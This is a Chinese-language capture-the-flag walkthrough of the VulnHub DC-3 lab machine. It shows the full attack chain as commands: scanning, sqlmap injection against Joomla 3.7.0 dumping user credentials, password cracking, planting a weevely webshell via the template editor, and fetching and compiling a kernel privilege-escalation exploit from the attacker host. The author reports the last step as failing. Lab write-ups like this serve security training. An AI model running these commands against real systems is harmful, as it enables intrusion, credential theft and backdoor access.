综合实战第二章
DC-3
环境准备
靶场下载:https://www.vulnhub.com/?page=2&q=dc
攻击机:kali 192.168.3.134
靶机:DC-3 192.168.3.164
信息搜集
喜闻乐见的信息搜集
Linux
nmap -p- -A 192.168.3.164

image-20220430093951334
只开放了一个80端口,用的是Joomla
这个cms

image-20220430094707987
可以再用Whatweb
扫描一下
Linux
whatweb http://192.168.3.164

image-20220430094735015
接下来用扫描工具joomscan
扫描一下
Linux
joomscan --url http://192.168.3.164
找到后台地址

image-20220430095201458
访问看一下

image-20220430095227224
查看一下有没有这个cms的漏洞
Linux
searchsploit Joomla 3.7.0

image-20220430101135440
查看一下第一个
Linux
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt 42033.txt

image-20220430101939325
漏洞利用
使用sqlmap
Linux
sqlmap -u "http://192.168.3.164/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20220430102335896
爆出库名,接下来查看表名
Linux
qlmap -u "http://192.168.3.164/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

image-20220430102511927
找到#__users
这张表
爆破字段名
Linux
sqlmap -u "http://192.168.3.164/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

image-20220430102916780
接下来扫一下信息
Linux
sqlmap -u "http://192.168.3.164/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,username,password --dump -p list[fullordering]

image-20220430103037506
破解密码
把密码放在一个文件里面
Linux
john mima

image-20220430103251196
出来了
尝试登录

image-20220430103509698
成功进入后台
上传木马
我们可以通过一些手段上传木马
首先点击这个

image-20220430103823379
随便点一个进去

image-20220430103908771
可以看到我们能新建文件,那么建立一个测试文件

image-20220430104143460
然后访问
Linux
http://192.168.3.164/templates/beez3/test.php

image-20220430104213989
没有问题
可以制作木马了
Linux
weevely generate 123456 webshell.php
把生成的东西复制过去,保存

image-20220430104450947
连接
Linux
weevely http://192.168.3.164/templates/beez3/test.php 123456
shell

image-20220430104602879
提权
查看一下/etc/passwd
Linux
cat /etc/passwd

image-20220430104729350
有一个dc3
再找找别的线索
Linux
find / -user root -perm -4000 -print 2>/dev/null

image-20220430105131963
没什么有价值的信息
Linux
uname -a

image-20220430105205843
查看版本内核
Linux
lsb_release -a

image-20220430105440013
16.04版本的,用searchsploit查找一下漏洞
Linux
searchsploit Ubuntu 16.04

image-20220430110336548
随便用,就用这个39772
Linux
cp /usr/share/exploitdb/exploits/linux/local/39772.txt 39772.txt
通过文档我们要在git上下载东西
Linux
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
如果靶机网速慢可以在本机先下载
然后
Linux
python -m SimpleHTTPServer
再让靶机下载
Linux
wget http://192.168.3.134:8000/39772.zip
解压
Linux
unzip 39772.zip
发现有两个tar文件
Linux
tar -xvf exploit.tar

image-20220430113112138
进入目录
Linux
cd ebpf_mapfd_doubleput_exploit

image-20220430113235916
编译
Linux
./compile.sh
按理说

image-20220430134025893
Linux
./doubleput
就直接能提权了,但我没成功,不知道咋回事